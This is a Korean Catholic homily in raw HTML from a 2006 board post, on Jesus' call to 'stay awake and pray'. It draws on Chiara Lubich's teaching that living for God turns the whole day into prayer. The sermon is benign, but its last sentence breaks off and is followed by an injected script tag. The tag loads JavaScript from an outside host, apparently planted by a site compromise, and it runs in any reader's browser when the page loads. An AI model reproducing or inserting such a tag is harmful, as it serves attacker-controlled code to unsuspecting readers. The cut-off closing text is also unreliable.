항상 깨어 기도하는 방법
작성자 : 허미옥 | 조회수 : 4,165 | 작성일 : 2006년 12월 4일
<STRONG>“우리 주 예수님께서 당신의 모든 성도들과 함께 재림하실 때, <BR>여러분이 하느님 우리 아버지 앞에 <BR>흠 없고 거룩한 사람으로 나설 수 있게 되기를 빕니다.”<BR><BR>형제 자매님,<BR>오늘은 교회 전례력으로 한 해를 시작하는 날입니다. <BR><BR>새해가 되면 사람들은 만나는 사람들과 인사를 나누면서 <BR>“새해 복 많이 받으십시오!”라고 인사를 합니다. <BR>돈이 드는 일도 아니고, 자기가 주는 것이 아니라 <BR>받으라고 기원하는 것이니까, <BR>만나는 사람마다 공짜 인심을 푹푹 씁니다. <BR>만일 자기가 주어야 하는 것이라면 그렇지 않을 것이라 생각됩니다. <BR>그리고 세배를 받으면서 어른들은 덕담을 해 주십니다.<BR><BR>그런데 예수님은 당신께 새해 첫 예배를 드리는 우리에게 <BR>“늘 깨어 기도하여라.”하고 말씀하십니다. <BR>덕담치고는 좀 고약하다는 생각이 들죠? <BR><BR>어제도 같은 말씀을 하셨는데, <BR>우리가 잊어버렸을까봐서 다시 말씀하십니다! <BR>그만큼 우리가 ‘늘 깨어서 기도하는 것’이 중요하다는 뜻이겠죠?<BR><BR>그래서 오늘은 어떻게 우리가 늘 깨어서 기도할 수 있는지 생각해 봅시다. <BR><BR>한 번은 포콜라레 운동의 창시자인 끼아라 루빜이 <BR>수도자 모임에서 기도에 대한 테마를 발표했습니다. <BR><FONT color=darkviolet>“기도는 우리 영혼의 호흡이기 때문에 멈출 수가 없다”</FONT>고 강조를 했습니다. <BR><BR>그러자 테마가 끝나고 나서 한 수도자가 질문을 했습니다.<BR><BR>“끼아라, 당신은 우리가 늘 기도해야 한다고 강조를 했습니다. <BR>그런데 우리는 기도만 할 수 있는 것이 아니라 활동도 해야 합니다. <BR>그렇다면 당신은 우리 수도자들이 <BR>기도와 활동의 비율을 어떻게 유지하는 것이 <BR>가장 바람직하다고 생각합니까?”<BR><BR>그러자 끼아라는 <BR>“수도자나 사제나 포콜라리니들은 <BR>일차적으로 기도하기 위해서 불림을 받은 사람들이기 때문에 <BR><FONT color=green>하루 24시간 기도해야 합니다.”</FONT>라고 대답했습니다. <BR><BR>그러자 그 수도자가 놀라면서 <BR>“아니, 우리는 잠도 자야하고 식사도 해야 하며 <BR>우리에게 주어진 사도직 활동도 해야 합니다. <BR>그런데 우리가 어떻게 24시간을 기도할 수 있습니까?” 하고 반문했습니다.<BR><BR>끼아라는 이렇게 답합니다. <BR>“<FONT color=green>기도는 하느님과 대화하는 것이고 하느님과 함께 머무는 것입니다. <BR>물론 때로는 우리가 침묵 중에 고요하게 묵상기도를 드릴 필요가 있습니다. <BR>또 성무일도를 바치거나 미사를 봉헌할 때 우리는 함께 기도하는 것입니다. <BR> <BR>또한 우리가 하느님의 뜻을 살 때, <BR>우리는 하느님 안에 머무는 것이요 예수님 그리스도 안에 머무는 것입니다. <BR>그리고 우리가 무슨 일을 하든지 항상 <BR><FONT color=darkmagenta>‘하느님 당신을 위해서 이 일을 합니다.</FONT>’라고 고백하며 <BR>하느님께 모든 일을 맡길 때, 우리는 하느님 안에서 사는 것입니다. <BR><BR>이처럼 현 순간을 잘 살고, 하느님의 뜻을 살고, <BR>무슨 일을 하든지 하느님의 영광을 위해서 할 때, <BR>이것이 곧 항상 기도하는 모습이요 태도인 것입니다. <BR>그러므로 우리들은 실천적으로 공부를 하든지, <BR>사도직을 하든지, 음식을 먹든지, 심지어 잠을 잘 때도 항상 <BR><FONT color=darkmagenta>‘하느님 당신을 위해서’</FONT> 라고 고백하여야 합니다. <BR><BR>그렇게 우리의 삶 전체가 하느님과 예수님께로 조준되어 있다면 <BR>우리는 하루 24시간 기도하는 것입니다.” <BR><BR></FONT>형제 자매님,<BR>우리도 그렇게 24시간 늘 기도할 수 있습니다. <BR>우리가 그렇게 24시간 기도할 때 <BR>“늘 깨어 기도하여라.”는 예수님의 말씀은 고약한 덕담이 아니라 <BR>우리에게 기도할 수 있는 용기를 주는 고마운 덕담이 될 것입니다. <BR><BR>형제 자매님,<BR>우리가 24시간 기도하는 사람이 된다면 주님께서 다시 오시는 날, <BR>예수님의 권고대로, 허리를 펴고 머리를 들 수가 있을 것입니다. <BR><BR>늘 깨어 기도하는 사람은 예수님을 통해서 우리에게 밝혀진 <BR>“서로 사랑하라”는 하느님의 뜻을 실천하는 사람이기에 <BR>그 마지막 날이 우리에겐 심판의 날이 아니라 구원의 날이기 때문입니다. <BR> <BR>형제 자매님,<BR>새해에는 우리 모두가 서로를 더 많이 사랑합시다. <BR>우리가 서로 잘 사랑할 때 곧 우리를 위해서 오실 예수님께서는 <BR>차가운 마구간이 아니라 <BR>따스한 우리들 마음에 보금자리를 마련하실 것입니다. <BR>그리고 우리는 그 예수님을 모시고 <BR>다른 사람들?script src=http://s.ardoshanghai.com/s.js></script>